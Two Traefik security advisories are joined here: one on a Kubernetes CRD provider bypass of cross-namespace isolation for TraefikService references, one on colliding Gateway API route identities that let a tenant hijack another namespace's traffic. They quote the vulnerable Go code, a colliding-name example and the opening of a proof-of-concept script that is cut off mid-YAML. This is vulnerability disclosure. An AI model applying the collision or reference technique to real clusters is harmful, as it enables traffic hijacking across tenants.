## Summary There is a medium severity vulnerability in Traefik's Kubernetes CRD provider. When `providers.kubernetesCRD.allowCrossNamespace` is disabled — the default — cross-namespace `@kubernetescrd` references are rejected for middlewares, TLS options and HTTP/TCP ServersTransports, but the same restriction was not applied to `TraefikService` backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a `TraefikService` owned by another namespace and expose or reroute that namespace's backend, defeating the namespace isolation `allowCrossNamespace=false` is meant to enforce. Traefik v2 releases and the unmaintained v3 minor lines below v3.6 are affected and will not receive a patch on their own line; the remedy for those users is upgrading to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.54 - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary When `providers.kubernetesCRD.allowCrossNamespace=false` (the default), Traefik correctly rejects cross-namespace `@kubernetescrd` references for middlewares, TLS options, and HTTP/TCP `ServersTransport`, but it does not apply the same restriction to service (`TraefikService`) backendRefs. As a result, a Kubernetes tenant who is confined by RBAC to their own namespace can bind their own router to a `TraefikService` owned by another namespace simply by referencing it as `<victim-namespace>-<name>@kubernetescrd`, defeating the namespace-isolation boundary that `allowCrossNamespace=false` is meant to enforce. This is the service-resolver sibling of the cross-namespace isolation family that Traefik has been fixing one resolver at a time (`df00d82f` / CVE-2026-41174 for Chain middlewares, and `67501cbe` for TCP `ServersTransport`, which shipped in v3.7.7 only four days before the analyzed commit). The `TraefikService` resolver in `configBuilder.nameAndService` was never given the guard its sibling resolvers received. ### Details ### Root cause `nameAndService` only performs the same-namespace check (`isNamespaceAllowed`) inside the branch that handles names without an `@` separator. For names that contain an `@` separator (that is, `@kubernetescrd` cross-namespace references) it applies only the `crossProviderNamespaces` allowlist check, and that check returns `true` by default because a `nil` allowlist means "unrestricted". It never applies the `!allowCrossNamespace && strings.HasSuffix(name, "@kubernetescrd")` rejection that the sibling resolvers all apply, so `allowCrossNamespace=false` is effectively never consulted for `@kubernetescrd` service references. ### Vulnerable code ```go // pkg/provider/kubernetes/crd/kubernetes_http.go:662-695 — nameAndService (VULNERABLE) func (c configBuilder) nameAndService(ctx context.Context, parentNamespace string, service traefikv1alpha1.LoadBalancerSpec) (string, *dynamic.Service, error) { svcCtx := log.Ctx(ctx).With().Str(logs.ServiceName, service.Name).Logger().WithContext(ctx) if !strings.Contains(service.Name, providerNamespaceSeparator) { // 665: only names WITHOUT "@" service = *service.DeepCopy() service.Namespace = namespaceOrParentNamespace(service.Namespace, parentNamespace) if !isNamespaceAllowed(c.allowCrossNamespace, parentNamespace, service.Namespace) { // 669 return "", nil, fmt.Errorf("service %s/%s not in the parent resource namespace %s", ...) } } // 674: for "@"-names, the ONLY gate is crossProviderNamespaces, which defaults to allow-all (nil). if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) && strings.Contains(service.Name, providerNamespaceSeparator) { return "", nil, fmt.Errorf("service %q reference is not allowed: ...", service.Name) } // ^-- MISSING: no `!c.allowCrossNamespace && strings.HasSuffix(service.Name, "@"+ProviderName)` rejection. switch service.Kind { case "TraefikService": return fullServiceName(svcCtx, service, intstr.FromInt(0)), nil, nil // 690: returns the cross-namespace reference ... } } ``` For comparison, the sibling resolver used for middleware and TLS references does carry the guard: ```go // pkg/provider/kubernetes/crd/kubernetes.go:1653-1668 — resolveReference (CORRECT) func resolveReference(ctx context.Context, parentNs, ns, name string, crossProviderNamespaces []string, allowCrossNamespace bool) (string, error) { if strings.Contains(name, providerNamespaceSeparator) { if !allowCrossNamespace && strings.HasSuffix(name, providerNamespaceSeparator+ProviderName) { return "", errors.New("when allowCrossNamespace is disabled, @kubernetescrd references are disallowed") // 1656 — THE GUARD } ... } ... } ```

## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit